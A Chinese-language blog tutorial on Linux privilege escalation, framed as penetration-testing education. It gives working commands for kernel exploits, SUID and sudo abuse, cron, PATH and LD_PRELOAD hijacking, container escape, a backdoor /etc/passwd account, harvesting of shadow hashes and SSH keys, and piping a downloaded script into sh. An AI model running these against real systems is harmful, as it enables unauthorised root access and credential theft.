9949 字
34 分钟阅读
Linux 提权方法及原理

核心概念: 权限提升 (Privilege Escalation) 是指攻击者从低权限用户(如 www-data)通过系统漏洞或配置缺陷获得更高权限(如 root)的过程。提权是渗透测试中后渗透阶段的关键环节。


提权检查清单

# 系统信息
uname -a                 # 内核版本
cat /etc/os-release      # 发行版信息
cat /etc/*release        # 版本详情
hostname                 # 主机名

# 用户信息
id                       # 当前用户信息
whoami                   # 当前用户名
cat /etc/passwd          # 所有用户
cat /etc/shadows         # 密码哈希(需root)
sudo -l                  # sudo 权限
history                  # 命令历史

# 敏感文件搜索
find / -perm -4000 2>/dev/null          # SUID 文件
find / -perm -2000 2>/dev/null          # SGID 文件
find / -writable -type f 2>/dev/null    # 可写文件
find / -name "*.key" -o -name "*.pem" 2>/dev/null  # 密钥文件
find / -type f -name ".*" -writable 2>/dev/null    # 可写隐藏文件
grep -r "password" /etc/ 2>/dev/null                # 密码配置

# 进程与服务
ps aux                    # 运行进程
netstat -tulpn            # 监听端口
systemctl list-units      # 系统服务
crontab -l                # 当前用户定时任务
ls -la /etc/cron*         # 系统定时任务
systemctl list-timers     # systemd 定时器

一、内核漏洞提权 (Kernel Exploit)

原理

Linux 内核中存在缓冲区溢出、释放后使用 (Use-After-Free)、权限检查绕过等漏洞。当存在对应漏洞的内核版本运行时,可利用编译好的 exploit 直接获取 root 权限。

利用流程

# 1. 检查内核版本
uname -a
# Linux target 5.15.0-86-generic #96-Ubuntu SMP x86_64 GNU/Linux

# 2. 搜索对应 exploit(使用 searchsploit 或在本地搜索)
searchsploit linux kernel 5.15

# 3. 上传并编译 exploit
# 在攻击机上编译(推荐)或目标机上编译
gcc exploit.c -o exploit

# 4. 执行提权
./exploit
# 成功后获得 root shell
whoami  # root

常用工具

  • Linux Exploit Suggester: 自动检测内核漏洞 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh bash linux-exploit-suggester.sh
  • LES (Linux Exploit Suggester 2)
  • PEASS-ng / LinPEAS: 自动化提权检查脚本 curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

实战案例

# Dirty Pipe (CVE-2022-0847) - Linux 5.8 ~ 5.16
# 利用原理:pipe 系统调用的写操作越界覆盖文件缓存
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe /etc/passwd "root::0:0:root:/root:/bin/bash"
su  # 无需密码直接切换 root(清空密码字段后)

# PwnKit (CVE-2021-4034) - pkexec 本地提权
# 利用原理:pkexec 未正确处理参数个数,导致环境变量污染
gcc pwnkit.c -o pwnkit
./pwnkit

局限性

  • 现代内核有 KASLR、SMEP/SMAP 等防护机制
  • 生产环境通常及时打补丁
  • exploit 可能导致系统崩溃或内核 panic

二、SUID/SGID 提权

原理

SUID (Set User ID) 和 SGID (Set Group ID) 是 Linux 的特殊权限位。设置了 SUID 的可执行文件运行时以文件所有者的身份执行,而非执行者本身。如果所有者是 root,普通用户运行该文件时也拥有 root 权限。

权限位表示:rwsr-xr-x
               ^
               s = SUID 已设置
               S = SUID 已设置但无执行权限(很少见)

查找 SUID 文件

# 查找所有 SUID 文件
find / -perm -4000 -type f 2>/dev/null

# 查找所有 SGID 文件
find / -perm -2000 -type f 2>/dev/null

# 同时查找 SUID 和 SGID
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null

可利用的 SUID 二进制

二进制利用方式提权命令
nmap (旧版 --interactive)交互模式nmap --interactive!sh
find通过 -exec 执行find . -exec /bin/sh \; -quit
vim / vi通过编辑器 escapevim -c ':!/bin/sh'
bash直接执行/bin/bash -p
less / more通过 ! 命令less /etc/passwd!/bin/sh
cp覆盖文件复制 /etc/passwd 修改后的版本
python通过 Python shellpython -c 'import os;os.system("/bin/sh")'
perl通过 Perl shellperl -e 'exec "/bin/sh";'
tee写入文件echo "newpass" \| tee -a /etc/passwd
base64解码写入文件解码 base64 格式的恶意文件

典型利用示例

# 示例 1: find 提权
find /home -exec /bin/sh -p \; -quit

# 示例 2: 查看自定义 SUID 程序
./custom_program --help
strings custom_program  # 分析程序行为

# 示例 3: 如果 base64 有 SUID
echo 'encoded_payload' | base64 -d > /tmp/sh
chmod +x /tmp/sh
/tmp/sh

原理图示

普通用户 (www-data)
    │
    │  运行 SUID=root 的程序
    ▼
程序以 root 权限运行
    │
    │  程序存在漏洞(命令注入/任意文件读/写)
    ▼
攻击者获得 root shell

三、Sudo 配置不当

原理

/etc/sudoers 文件定义了哪些用户可以用 sudo 执行哪些命令。如果配置不当,普通用户可能被允许以 root 权限执行某些危险命令。

检查 Sudo 权限

# 查看当前用户可执行的 sudo 命令
sudo -l

# 输出示例
User www-data may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim
    (ALL) /bin/systemctl restart apache2
    (root) /usr/bin/python3 /scripts/*.py

危险配置与利用

1. 允许执行编辑器 (vim/nano/emacs)

# sudo -l 显示: (ALL) /usr/bin/vim
sudo vim -c ':!/bin/sh'

2. 允许执行 systemctl

# sudo -l 显示: (ALL) /bin/systemctl
# 创建恶意 service 文件执行任意命令
cat > /tmp/root.service << 'EOF'
[Service]
Type=oneshot
ExecStart=/bin/sh -c 'chmod +s /bin/bash'
[Install]
WantedBy=multi-user.target
EOF

sudo /bin/systemctl link /tmp/root.service
sudo /bin/systemctl start root.service
/bin/bash -p  # 现在 bash 有 SUID

3. 允许执行 apt/yum/dpkg

# sudo -l 显示: (ALL) /usr/bin/apt
sudo apt update -o APT::Update::Pre-Invoke::=/bin/sh

4. 允许执行 python/perl 等脚本语言

# sudo -l 显示: (ALL) /usr/bin/python3
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

5. 通配符匹配(如 /usr/bin/*

# 危险: sudo -l 显示 (ALL) /usr/bin/*
# 可以执行任何 /usr/bin/ 下的程序
sudo /usr/bin/vim
sudo /usr/bin/python3  # 等

利用流程图

sudo -l
  │
  ├── 编辑器 (vim/nano)  →  !/bin/sh
  ├── 包管理器 (apt/rpm) →  回调 shell
  ├── systemctl          →  创建恶意 service
  ├── 脚本语言 (python)  →  os.system('/bin/sh')
  ├── 通配符 (*.py)      →  利用文件名注入
  └── NOPASSWD           →  无需密码直接 sudo

四、计划任务 (Cron Job) 提权

原理

系统管理员通过 cronsystemd 定时器设置定时任务,这些任务以 root 权限执行。如果普通用户可以修改脚本文件替换脚本路径,即可在 root 执行时获得提权。

检查 Cron 配置

# 系统级 cron
ls -la /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/

# 用户级 cron
crontab -l

# systemd 定时器
systemctl list-timers --all

利用场景

场景 1:脚本文件可写

# /etc/crontab 中包含:
# */5 * * * * root /opt/backup.sh

# 检查脚本是否可写
ls -la /opt/backup.sh
# -rwxrwxrwx 1 root root 50 ...   ← 任何人都可写!

# 写入恶意命令
echo '#!/bin/bash
chmod +s /bin/bash' > /opt/backup.sh

# 等待 cron 执行(最多 5 分钟)
/bin/bash -p  # 获得 root shell

场景 2:PATH 劫持

# /etc/crontab 中使用相对路径:
# */5 * * * * root backup.sh  ← 没有写绝对路径!

# 检查 PATH 变量
echo $PATH  # 或查看 crontab 中定义的 PATH

# 如果 PATH 包含可写目录(如 /tmp)
echo '#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash' > /tmp/backup.sh
chmod +x /tmp/backup.sh

# 等待 cron 执行
/tmp/rootbash -p

场景 3:通配符扩展 (Wildcard Injection)

# crontab 中脚本执行了类似:
# tar czf /tmp/backup.tar.gz /home/*

# 在 /home/ 下创建恶意文件
echo '#!/bin/bash' > /home/--checkpoint=1
echo '#!/bin/bash' > /home/--checkpoint-action=exec=shell.sh
echo 'chmod +s /bin/bash' > /home/shell.sh

# 等待 tar 命令执行后
/bin/bash -p

五、LD_PRELOAD 环境变量提权

原理

LD_PRELOAD 环境变量允许在程序运行前预加载共享库。如果普通用户可以通过 sudo 执行某个程序(且 env_keep 保留了 LD_PRELOAD),就可以注入恶意共享库。

利用条件

  • sudo -l 输出中包含 env_keep+=LD_PRELOAD
  • sudoers 配置中包含 Defaults env_keep += "LD_PRELOAD"

利用步骤

# 1. 确认条件
sudo -l
# 输出应包含: Matching Defaults entries: env_keep+="LD_PRELOAD"

# 2. 编写恶意共享库
cat > shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
EOF

# 3. 编译共享库
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# 4. 执行提权
sudo LD_PRELOAD=./shell.so any_command_you_can_sudo
# 获得 root shell

六、Linux Capabilities 提权

原理

Linux Capabilities 将 root 权限拆分为细粒度权限单元。如果某个可执行文件或进程被赋予了特殊的 capability(如 CAP_DAC_OVERRIDE),无需完全 root 即可执行特权操作。

检查 Capabilities

# 检查文件的 capabilities
getcap -r / 2>/dev/null

# 示例输出
/usr/bin/python3.10 = cap_setuid+ep
/usr/bin/tar = cap_dac_read_search+ep
/bin/ping = cap_net_raw+ep

危险 Capabilities

Capability作用提权方式
CAP_SETUID允许设置用户 IDpython -c 'import os;os.setuid(0);os.system("/bin/sh")'
CAP_SETGID允许设置组 ID同上,设置 gid 为 0
CAP_DAC_OVERRIDE绕过文件权限检查可以读写任何文件(包括 /etc/shadow
CAP_DAC_READ_SEARCH绕过文件读权限可以读取任何文件
CAP_SYS_ADMIN系统管理能力挂载、namespace 操作等
CAP_NET_RAW原始套接字ARP 欺骗、抓包

利用示例

# 场景: python3 有 cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

# 场景: tar 有 cap_dac_read_search
tar -cvf /dev/null /etc/shadow  # 实际上不能直接读,但可以使用通配符技巧
# 更好的方法:使用其他有 cap_dac_read_search 的工具

七、Docker 容器逃逸提权

原理

当用户属于 docker 组时,相当于拥有 root 级别的 Docker 权限,可以挂载宿主机文件系统到容器内,从而读写宿主机所有文件。

利用方法

# 确认当前用户在 docker 组
groups
# 输出: www-data docker

# 挂载宿主机根目录到容器
docker run -v /:/mnt/host -it alpine:latest /bin/sh

# 在容器中查看宿主机文件
cat /mnt/host/etc/shadow     # 读取密码哈希
cat /mnt/host/root/.ssh/id_rsa  # 读取 SSH 私钥

# 创建后门账户(直接写入 passwd)
echo 'hacker:$6$...:0:0:root:/root:/bin/bash' >> /mnt/host/etc/passwd

LXC/LXD 提权

# 如果用户在 lxd 组
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine test -c security.privileged=true
lxc config device add test host-root disk source=/ path=/mnt/root
lxc start test
lxc exec test /bin/sh
cat /mnt/root/etc/shadow

八、PATH 环境变量劫持

原理

suid 程序使用相对路径调用外部程序(如 system("ls")),而不是绝对路径(如 system("/bin/ls"))时,可以通过修改 PATH 环境变量指向恶意程序来劫持执行流程。

利用步骤

# 1. 找到可疑的 suid 程序
find / -perm -4000 -type f 2>/dev/null

# 2. 分析程序行为
strings /usr/local/bin/suid_backup
# 输出可能包含: system("tar czf ...")
#                  ^^^^^^^^ 相对路径调用 tar

# 3. 创建恶意程序
cd /tmp
echo '#!/bin/bash' > tar
echo 'cp /bin/bash /tmp/rootbash' >> tar
echo 'chmod +s /tmp/rootbash' >> tar
chmod +x tar

# 4. 劫持 PATH
export PATH=/tmp:$PATH
/usr/local/bin/suid_backup

# 5. 获得 root shell
/tmp/rootbash -p

九、NFS no_root_squash 提权

原理

NFS 共享配置中的 no_root_squash 选项允许 root 用户在客户端以 root 身份写入文件。如果攻击者可以挂载 NFS 共享,可以创建 suid 文件获取目标系统权限。

检查 NFS 配置

# 在目标系统上检查 NFS 导出配置
cat /etc/exports
# 输出示例:
# /srv/nfs 192.168.1.0/24(rw,sync,no_root_squash,no_subtree_check)

利用步骤

# 1. 在攻击机上挂载 NFS 共享
mkdir /tmp/nfsmount
mount -t nfs target:/srv/nfs /tmp/nfsmount

# 2. 在本地创建 suid shell 并上传
cp /bin/bash /tmp/nfsmount/rootbash
chmod +s /tmp/nfsmount/rootbash

# 3. 卸载 NFS 共享
umount /tmp/nfsmount

# 4. 在目标系统上执行 suid shell
# (回到目标系统 shell)
/tmp/nfsmount/rootbash -p

十、密码复用与凭据收集

原理

系统配置、脚本、历史记录等文件中往往包含明文密码。在信息收集阶段发现复用凭据是最直接的提权方式。

查找密码

# 检查配置文件
grep -r "password" /etc/ 2>/dev/null
grep -r "password" /var/www/ 2>/dev/null

# 查找数据库配置
find /var/www -name "config.php" -o -name ".env" 2>/dev/null
find /var/www -name "wp-config.php" 2>/dev/null  # WordPress

# 检查历史记录
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.ssh/id_rsa      # SSH 私钥
cat /root/.ssh/authorized_keys  # 如果能读

# 检查备份文件
find / -name "*.bak" -o -name "*.backup" 2>/dev/null
find / -name "*.old" 2>/dev/null

# 检查进程中的密码
ps aux | grep -E "(mysql|postgres|redis|password)"
strings /proc/*/environ 2>/dev/null | grep -i password

利用场景

# 场景:在配置文件发现 MySQL root 密码
# wp-config.php 中包含:
define('DB_PASSWORD', 'SuperSecret123');

# 尝试用同一密码切换 root 用户
su root          # 输入 SuperSecret123
# 或 SSH 登录
ssh root@localhost  # 输入 SuperSecret123

十一、可写文件/目录覆盖

原理

某些系统文件或脚本可能被配置为可写(权限为 777 或所属组设置不当)。利用可写系统文件可以插入恶意代码。

关键可写目标

# 检查可写的系统文件
find /etc -writable -type f 2>/dev/null

# 关键文件
/etc/passwd         # 添加管理员账户
/etc/shadow         # 替换 root 密码哈希
/etc/sudoers        # 添加 sudo 权限
/etc/crontab        # 添加定时任务
/etc/ld.so.conf     # 修改动态链接器路径
/etc/environment    # 修改环境变量
/etc/profile        # 登录时执行任意命令
/etc/bash.bashrc    # Bash 启动文件
/etc/init.d/*       # init 脚本
/lib/systemd/system/*  # systemd service

利用步骤

# 示例:如果 /etc/passwd 可写
# 生成密码哈希
openssl passwd -1 newpassword
# 输出: $1$... (哈希值)

# 添加 root 权限用户
echo 'hacker:$1$...:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker  # 密码: newpassword → root

十二、自动化提权工具

本地信息收集

# LinPEAS - 综合提权检查
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
bash linpeas.sh

# Linux Exploit Suggester 2
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

# Linux Smart Enumeration
wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
bash lse.sh

# 自定义快速检查
cat << 'EOF' > quick_check.sh
#!/bin/bash
echo "=== Kernel ==="
uname -a
echo "=== User ==="
id
sudo -l 2>/dev/null
echo "=== SUID ==="
find / -perm -4000 -type f 2>/dev/null
echo "=== Cron ==="
ls -la /etc/cron* 2>/dev/null
echo "=== Capabilities ==="
getcap -r / 2>/dev/null
echo "=== Writable ==="
find /etc -writable -type f 2>/dev/null
EOF
bash quick_check.sh

提权方法优先级排序

优先级方法成功率风险需检查的内容
⭐⭐⭐Sudo 配置不当sudo -l
⭐⭐⭐密码复用/配置文件配置文件、历史记录
⭐⭐⭐可写 cron 脚本/etc/cron*
⭐⭐SUID 二进制find / -perm -4000
⭐⭐内核漏洞uname -a
⭐⭐Docker 组权限groups
⭐⭐LD_PRELOADsudo -l (env_keep)
Capabilitiesgetcap -r /
PATH 劫持strings suid程序
NFS no_root_squash/etc/exports

参考资源


免责声明: 本文内容仅供授权的渗透测试和安全学习使用。未经授权对系统进行提权操作属于违法行为。

1 条评论

  1. coco 2026年7月16日

    插眼

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注